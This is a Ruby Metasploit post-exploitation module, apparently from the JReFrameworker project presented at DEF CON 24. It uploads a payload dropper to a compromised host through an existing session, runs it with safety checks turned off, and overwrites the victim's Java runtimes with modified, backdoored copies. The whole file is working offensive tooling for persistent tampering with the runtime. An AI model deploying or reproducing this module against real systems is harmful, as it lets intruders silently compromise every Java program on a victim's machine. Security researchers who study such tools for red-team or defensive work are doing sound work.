##
# This module requires Metasploit: http://metasploit.com/download
# Payloads must be generated by JReFrameworker: https://ben-holland.com/JReFrameworker/
# Place module at ~/.msf4/modules/post/manage/java/jreframeworker.rb
# Load module with 'use post/manage/java/jreframeworker' 
##

require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Post
  
  include Msf::Post::File

  Rank = ExcellentRanking

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Modify JVM Runtime',
      'Description'   => %q{ This module executes a JReFrameworker payload dropper },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Benjamin Holland (daedared)' ],
      'Platform'      => [ 'win', 'osx', 'linux' ],
      'References'    => 
       [
         [ 'JReFrameworker', 'https://ben-holland.com/JReFrameworker/' ],
         [ 'DEFCON24', 'https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Holland' ]
       ],
      'SessionTypes'  => [ 'shell', 'meterpreter' ]
    ))

    register_options(
      [
        OptPath.new('PAYLOAD_DROPPER', [true, 'The JReFrameworker payload to execute'])
      ], self.class)

    register_advanced_options(
      [
        OptString.new('SEARCH_DIRECTORIES', [false, 'Specifies a comma separated list of victim directory paths to search for runtimes, if not specified a default set of search directories will be used.']),
        OptString.new('OUTPUT_DIRECTORY', [false, 'Specifies the output directory to save modified runtimes, if not specified output files will be written as temporary files.'])
      ], self.class)
  end

  def upload_file(tempdir, file)
    remote_file = "#{tempdir}#{File.basename(file)}"
    print_status("#{peer} - Uploading #{remote_file}...")
    write_file(remote_file, File.binread(file))
    print_status("#{peer} - Uploaded #{remote_file}")
    remote_file
  end

  def get_platform()
    if session.type =~ /meterpreter/ && session.sys.config.sysinfo['OS'] =~ /darwin/i
      platform = 'osx'
    else
      platform = session.platform
    end
    platform
  end

  def get_temporary_directory(platform)
    if platform.include? "/win"
      #return "%TEMP%\\" # not working :\
      return "C:\\"
    else
      return "/tmp/"
    end
  end
  
  def run
    dropper_local = datastore['PAYLOAD_DROPPER']
    platform = get_platform()
    tempdir = get_temporary_directory(platform)
    dropper_remote = upload_file(tempdir, dropper_local)

    print_status("ReFrameworking JVMs on #{session.inspect}...")
    
    # build the dropper command
    search_directories = datastore['SEARCH_DIRECTORIES']
    cmd = "java -jar #{dropper_remote} --safety-off"
    if search_directories
      cmd = "#{cmd} --search-directories \"#{search_directories}\""
    end
    output_directory = datastore['OUTPUT_DIRECTORY']
    if output_directory
      cmd = "#{cmd} --output-directory #{output_directory}"
    end

    # rework each discovered runtime
    print_status("Running: #{cmd}...")
    modification_results = cmd_exec(cmd)
    print_status(modification_results)

    # parse the results, results are a list of original and corresponding modified runtimes
    modification_results = "#{modification_results}".strip!
    modifications = modification_results.split("\n")

    # iterate over each original,modified runtime pair
    # and replace the original runtime with the modified runtime
    index = 0
    while index < modifications.size
      original = ''
      modified = ''

      while original == '' && index < modifications.size
        if not (modifications[index]).nil?
          if modifications[index].include? 'Original Runtime: '
            original = modifications[index]
            original = original.gsub! 'Original Runtime: ', ''
            original.strip!
          end
        end
        index = index + 1
      end

      while modified == '' && index < modifications.size
        if not (modifications[index]).nil?
          if modifications[index].include? 'Modified Runtime: '
            modified = modifications[index]
            modified = modified.gsub! 'Modified Runtime: ', ''
            modified.strip!
          end
        end
        index = index + 1
      end

      if original != '' && modified != ''
        print_status("Created temporary runtime #{modified}")
        print_status("Overwriting #{original}...")
        rm_f(original)
        rename_file(modified, original)
        original = ''
        modified = ''
      end

    end

  end

end
